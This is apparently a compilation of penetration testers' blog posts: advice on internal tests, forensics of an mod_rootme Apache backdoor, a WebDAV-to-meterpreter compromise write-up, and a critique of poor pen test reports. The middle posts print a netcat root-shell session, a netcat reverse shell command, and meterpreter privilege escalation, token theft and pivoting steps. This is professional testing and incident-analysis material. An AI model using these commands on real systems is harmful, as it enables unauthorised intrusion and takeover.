Why Internal Pen-tests are still fun !

Why Penetration Testing is still important

I believe a penetration test should be goal oriented and focused on testing what an attacker would want to acquire from your network. Quite often the crown jewels of a company is its data (intellectual property, trade secrets, customer information, card holder data, financial records etc) – stored in a database or on a file system. Another effective way to create chaos would be to perform a service disruption – take out the company’s website or critical customer facing application or just mess with everything and make sysadmins and network engineers run around like monkeys. Either way you have to think about this and go – Could this happen to us ?? !!!. A good network penetration test would let you know of your current security posture if God forbid something of this nature should happen. All that a skilled attacker would require is someone on your internal network to click on a malicious link and the attacker has bypassed all your external controls. Essentially you really need to test all your Internet facing stuff and perform an Internal Network Penetration Test.  Over the past few years several companies have been attacked and its crown jewels stolen – when no one could explain what the hell happened there are three letters shouted by CISSPs, CISAs or anyone in the company who pretends to know security and bullshits security jargon randomly at meetings – APT. Well, fact of the matter is security is no longer installing a network firewall like in the 90s or securing your web applications like in the 2000s; right now companies get hacked because dumb people click random links sent to them or visit websites they have no clue of. So, along with your network and web related security testing, you have to include the social engineering aspect as well. This again depends if your organisation is comfortable about your people being targeted for testing. In summary what you need to do inorder to properly evaluate your current security posture is to do the following :

1. External (Internet) Network and Web application penetration testing – Should cover anything that you have on the Internet including stuff you have pushed onto your ISP’s data center or elsewhere. (A defaced website is a defaced website – be it hosted by you or somewhere else on the Internet; your brand value does not have different IP addresses)

2. Internal Network and Web Application Penetration Test – Should cover EVERYTHING that is connected to your internal network.

3. A social engineering campaign – test all users if possible – remember that all it takes is one click.

Even if 1. and 3.  were unsuccessful and the pentest team does not gain access anywhere; I’d strongly suggest to perform 2. – performing an Internal Network Penetration Test even if an External test has failed,  could help simulate and highlight risks pertaining to what you could essentially lose once an attacker has breached your external network or an application.

So how do you come on top of these tests and ensure your network and systems are secure ? Sadly, you can never achieve that posture because the threat landscape is constantly changing, all you can do is :

1. Patch all your stuff – run scans regularly and get your developers/sysadmin/ops guys updated on latest security bugs – not a day goes by without a Java bug being released.

2. Use strong passwords – sadly even in 2013 admin/admin still works – try to implement 2 factor auth on anything important or facing the internet.

3. Access control – if someone or a system does not need to see something, they shouldn’t.

4. Encrypt – easier said than done, the whole encryption philosophy cant work sometimes because people need to see data and its tricky to keep data encrypted always.

5. Educate users – call them into a room and tell them not to be dumb and click on anything that looks like a link or spam them with emails everyday about the risks of doing so.

6. Secure SDLC – websites in 2013 are still vulnerable to SQL Injection – devs need to know how to stop this.

7. Stop spending millions on products – hire people who know current security (not old school firewall guys) and ask them to help your IT guys secure your precious data.

8. Pray your data doesn’t end up in a torrent or pastebin 🙂

Memories of a nifty old backd00r

Yesterday, my colleagues were performing a web app pen test and they were looking for ways to add backdoors to a rooted server..my memory soon went back 3 yrs…It was always interesting to trace hacks…That job was quite interesting, except for those fucking night shifts….

15^th July 2007
We received a request from a client telling us his server had been compromised and a user account (with name “bin” and uid “0”) was getting added to the server minutes after the tech support team does a clean up process. The request was moved into my queue. After the initial routine checks I came to the understanding that some logs (/var/log/secure,wtmp etc.) was cleared and there are no traces left by hacker on the server..I did a check for rootkits, open ports, processes etc. I couldn’t find anything dodgy. Everything was normal except for the wiped logs and an annoying “bin:*:0:0:bin:/var/bin:/bin/sh” line in /etc/passwd.. The server had a few open ports like 80,22,21,25,110,443,2086,2082..etc.. So how he was gaining access to the server over and over again??

Nonetheless, as with every crime, the attacker left a fingerprint on the server.. I was searching through different directories and stumbled upon a file mod_rphp-0.3.tgz under /root/../ (typical directories created by hackers on compromised servers)

==============================================
root@x [~]# cd .. /
root@x [~/.. ]# ll
total 40
drwxr-xr-x   3 root root   4096 Aug  3 22:57 ./
drwxr-x—  26 root root   4096 Aug  5 09:58 ../
drwxr-xr-x   2 1001 wheel  4096 Aug  5 09:59 mod_rphp-0.3/
-rw-r–r–   1 root root  24166 Jun 24 10:14 mod_rphp-0.3.tgz
==============================================

Out of curiosity I checked what was in the extracted directory. After going to through the README.txt I was taken by surprise !!!  That was for the first time I knew about a backdoor module for Apache which will allow an attacker to get a root shell by using GET requests passed to HTTP service.  The actual file name I found in http://packetstormsecurity.org was mod_rootme-0.3.tgz. The attacker had renamed it to “mod_rphp” which is much more convincing.

Did a quick check in the Apache configuration files and found what I was expecting.
==============================
root@x [~]# grep mod_rphp /usr/local/apache/conf/httpd.conf
LoadModule rphp_module        libexec/mod_rphp.so
AddModule mod_rphp.c
==============================

After that I could confirm how the hacker was gaining access to the server again and again. That was the most awesome backdoor I have ever seen. A backdoor, which doesn’t require any additional ports or services. All you have to do is to connect to port 80 and issue a GET request as shown below… and you are root!!!!

================================
anoop@localhost [~]$ nc x.x.x.x 80
GET root
rootme-0.3 ready
id
uid=0(root) gid=0(root)
uname -a
Linux x.x.com 2.6.9-42.0.10.ELsmp #1 SMP Fri Feb 16 17:17:21 EST 2007 i686 i686 i386 GNU/Linux
================================

In /var/log/messages I was able to find log entries related to mod_rphp. The timestamps indicate that the module was there on the server a couple of days before the actual hack.

==================================
Jul 12 11:50:17 x httpd: [Thu Jul 12 11:50:17 2007] [warn] Loaded DSO libexec/mod_rphp.so uses plain Apache 1.3 API, this module might crash under EAPI! (please recompile it with -DEAPI)
==================================

After checking the ticket history of that particular client I figured out that on the same day there were a couple of tickets from the same client for fixing some Apache failure issues on the server. Apache might have failed when the attacker was trying to insert the backdoor module onto the server. Anyways I removed the backdoor and suggested a complete OS reload on the server. Even today, I’m not sure know how he gained root privileges on the server initially. Those were the golden days of RFIs and local root exploits….He may have exploited any one of those bugs on that shared server for gaining access. That still remains a mystery..

Add-on

I just found a nice article on the working of mod_rootme backdoor and an updated version of it which can be used for Apache 2.2 on http://blog.danfego.net/2009/10/update-to-mod_rootme/

When “WebDAV” becomes a door to hell

Last week we were conducting an external penetration test. As usual a bunch of web servers, mail servers and some network devices as target assets. We normally never expect to find any critical vulnerabilities on external facing infrastructure as most of the sys admins now are aware of outside threats . After the initial fingerprinting we felt that our target is an exception to this.. During manual reconnaissance of targets, we noticed that webdav is enabled on a web server (IIS 6.0). And the surprising fact is that Nessus did not report it (http://www.nessus.org/plugins/index.php?view=single&id=11424). Anyway, a lead..Surprisingly we were able to write files onto the webserver’s c:intepubwwwroot..We created a copy of iisstart.htm and edited some text in that and took it as a screenshot of defacement.

We wanted to dig deeper. We uploaded a web shell onto the webroot of the target. no AV on the target…sweet…Now getting a shell – Our first preference was a classic netcat. A netcat executable was uploaded to the server and executed C:inetpubwwwrootnc.exe 6666 -e C:WINDOWSsystem32cmd.exe using cmdasp script, which shoveled a command prompt into our machine. As expected we got a shell – but a low privileged shell (NT AUTHORITYNETWORK SERVICE). A shell which will allow us to execute basic commands.

Privilege escalation

Now our focus was to escalate the privilege to a higher level. We need to move into a more convenient shell, possibly a meterpreter shell. Fasttrack is the easiest way to create a normal payload and to start a reverse handler.

The payload created was uploaded to the server and executed it through cmdasp.aspx script. A meterpreter shell was opened between our machine and server.

Still we need to find out some flaw which will allow us to escalate the privileges on the server. After a couple of searches we stumbled upon token manipulation flaws and suddenly we thought about incognito – we were aware of the existence of this tool in meterpreter but never used it. We decided to give it a try. But we first needed SYSTEM privileges, which can be obtained through getsystem extension of meterpreter.

meterpreter >
meterpreter > getuid
Server username: NT AUTHORITYNETWORK SERVICE
meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 4).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

Now we got SYSTEM privileges through  KiTrap0D exploit. Using incognito we can move from SYSTEM to another token.

 meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================

TARGETAdministrator
TARGETbilling
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITYANONYMOUS LOGON

meterpreter > impersonate_token TARGETAdministrator
[+] Delegation token available
[+] Successfully impersonated user TARGETAdministrator
meterpreter > getuid
Server username: TARGETAdministrator
meterpreter > ps

 880    csrss.exe                      x86   3        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 3856   winlogon.exe                   x86   3        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 5292   rdpclip.exe                    x86   0        TARGETAdministrator        C:WINDOWSsystem32rdpclip.exe
 3028   explorer.exe                   x86   0        TARGETAdministrator        C:WINDOWSExplorer.EXE

meterpreter > drop_token
Relinquished token, now running as: NT AUTHORITYNETWORK SERVICE
meterpreter > steal_token 3028
Stolen token with username: TARGETAdministrator
meterpreter > drop_token
Relinquished token, now running as: NT AUTHORITYNETWORK SERVICE
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeDebugPrivilege
  SeTcbPrivilege
  SeCreateTokenPrivilege
  SeAssignPrimaryTokenPrivilege
  SeLockMemoryPrivilege
  SeIncreaseQuotaPrivilege
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeSystemtimePrivilege
  SeProfileSingleProcessPrivilege
  SeIncreaseBasePriorityPrivilege
  SeCreatePagefilePrivilege
  SeCreatePermanentPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeShutdownPrivilege
  SeAuditPrivilege
  SeSystemEnvironmentPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege
  SeManageVolumePrivilege

Now we have compromised the server completely. We added a user with administrative privileges to the server. It was not the end of game for us. We got a foothold into the target network and now we can pivot attacks to internal network. After getting a green light from the client we decided to probe further.  We decided to remote desktop to the compromised machine. For that above user was added to remote desktop users’ group. We used portfwd command of meterpreter to forward 3389 port of target to localhost.

meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1

Pivoted Attacks

We decided to dig more into the network. Our target’s internal IP range was 10.8.0.0/24. Compared to portfwd command,  route command is much more helpful in this scenario. Btw, we moved from fasttrack to metasploit (multi/handler) console which is more convenient  while performing pivoted attacks.

We were running this project in a squeezed time-line, so we have to finish things very fast. So we planned to attack specific services only. From the meterpreter console we ran port scan s and other auxiliary scanning modules on the entire network for 445, 23, 5900 etc. Additionally we uploaded Metacab (a  collection of  Netcat, Nmap, VNC and other remote administration utilities that need only a Windows command shell.. http://dualisanoob.com/metacab/) on the server…As expected we were welcomed with ms08’s , default logins etc..
You can imagine what happened next.. Let it remain in our reports…

UPDATE

We could have simplified the initial steps till getting meterpreter shell, using a meterpreter connect back ASP script. (nc was the first thing which came into our mind at that time!!) Thanks to Chris Gates of carnal0wnage for pointing out this in his tweet..

check out CG’s and HDM’s posts for more info.

http://carnal0wnage.blogspot.com/2010/05/more-with-metasploit-and-webdav.html

http://blog.metasploit.com/2009/12/exploiting-microsoft-iis-with.html

Penetration Test – How to screw it up !!!

Among  infosec jobs, I consider penetration testing the most interesting and challenging job. At the same time it carries a lot of risk too. If you are not a skilled  tester, you may screw up an engagement. As a penetration tester I enjoy my job, because each engagement is like  an espionage movie, packed with thrill, action and suspense.

In my consulting experience I have seen numerous penetration testing reports of various vendors. I would like to share some of the greatest mistakes I have  seen in some of these pen test reports. By doing this I have no intention to blame or criticize any person/vendor.

Mistakes made by top management.

Personally, I don’t like to do a penetration test of an environment where the security holes are known to everyone. There is no thrill in doing such a pen test. Asking previous year’s penetration test reports prior to launching penetration test is one thing, I hate to hear. It shows the incapability of your team.  Another mistake is asking unnecessary information from the client regarding their network before conducting penetration test (social engineering is different!!). I have seen some people asking for network diagrams before conducting penetration tests. An ideal penetration test should be conducted with zero knowledge of the target. I guess the main reason for above mistakes is failure to know the difference between various security assessments.

Failure to allocate appropriate resources on the project can also screw up an engagement( this fact applies to any project). It is not necessary that a person who knows how to use an automated scanning tool will be a good penetration tester.

Mistakes made by penetration testers.

Our job is prone to mistakes. A small mistake from our part can destroy the reputation of our firm and can even result in project termination. Even today, when I execute commands after gaining access to some server/device I am extremely careful that a mistake from my part should not disrupt client’s operations. Be very careful while executing commands on a compromised server. If you are not sure about a command don’t execute it. Two years back during a penetration testing exercise an inexperienced team member who was conducting a vulnerability assessment executed the command “route –f” on a compromised (root/root) Linux machine, which cleared all static routes set in that machine and the machine went offline for a period of 9 hrs. Till this date I don’t know why that guy executed such a command on that box.

Launching attacks on targets which are not in scope is another mistake. It can be either a typo in IP addresses or  misunderstanding of the scope and limitations of the engagement. Even if it is a penetration test we cant afford any Lillehammer affair which might destroy the firm’s reputation.

Mistakes in reports

Same thing applies to final reports. You might be spending around 3 months in an organization doing different kind of field work and a 60-70 page report is going to talk for you on what you did during these 3 months, what you found and your inference. A single mistake in the report is going to backfire at you.

Some Common Errors.

In most  cases the penetration tester will modify a previous report done by them unless they have to stick with client’s internal templates. It is very common to leave previous client’s traces such as names, domain names, IP addresses etc. in the report. Problem with Find+Replace!!

Some of the “Dumbest” Findings/screenshots I have ever seen

a) Finding No 1:  “Clear text password on SSL”

When I saw the heading initially, I thought – “Oh… the tester might have used some sort of SSL stripping attacks against the target application”. But I was speechless when I saw the “evidence.”!!!

I guess the dude was testing 4.4.1 Credentials transport over an encrypted channel (OWASP-AT-001). Amazing “interception of traffic”..isnt it ??

b) Manipulated screenshots

I don’t have any comments on this particular screenshot.. 😉 you people figure it out…!!!

c) Finding No 2:  “Local File Disclosure”

Just refer the screenshot below. Anyone who has  basic understanding of various web application flaws will be able to understand what the vulnerability is and what the fix is…

But what I found in “Finding”, “Risk” and “Recommendation” section was shocking…

Finding: “The Webserver revealed contents of /etc/passwd file which contained user and group details of Webserver Operating System.” (Tester failed to understand the actual flaw!!)

Risk: “The /etc/passwd files contain confidential information such as user & group details which can be used for further sophisticated attacks” (Ohh!! Hopefully the scanner didn’t give output of all readable files on the filesystem..LOL)

The “greatest” recommendation: “Access to file (/etc/passwd) should be disabled after verifying required configurations and permissions.” (ha ha…so whts the permission of /etc/passwd going to be – 600??? ) LOL!! (oh..yea..btw i know this “tester”..I heard tht this dude is conducting “unix trainings” within his firm..what an irony..right??.!!!)

d) Some “Amazing” Screenshots

In some penetration testing reports we can find a section which describes various tests performed and results (screenshots or outputs) to show the magnitude of tests performed as a part of engagement. Most of the times, I have observed that screenshots are just taken for the sake of this particular section.

The below screenshot is taken from SSL/TLS testing section of a web application penetration test report.. The tester’s intention is to highlight the certificate used by the application and its validity. I can’t imagine a web application penetration tester who doesn’t know the creators of burp suite..

Another blunder from the same report.. the target is an IIS webserver. look at how the dude is testing for path traversal/LFI. (/etc/passwd on a windows machine!!!)

I’m done searching through reports for these blunders..

A lot of clients are being deceived by several firms  using inexperienced and unskilled penetration testers..Some of the above mentioned stuff was observed in final versions of penetration test reports which clients accepted. So imagine the situation at both ends!!

When selecting a penetration testing vendor, firms often fail to identify the real skill set of people who are going to get involved in the exercise. Above mentioned issues are  aftermath of this..

“He who fights with monsters might take care lest he thereby become a monster – Friedrich Nietzsche”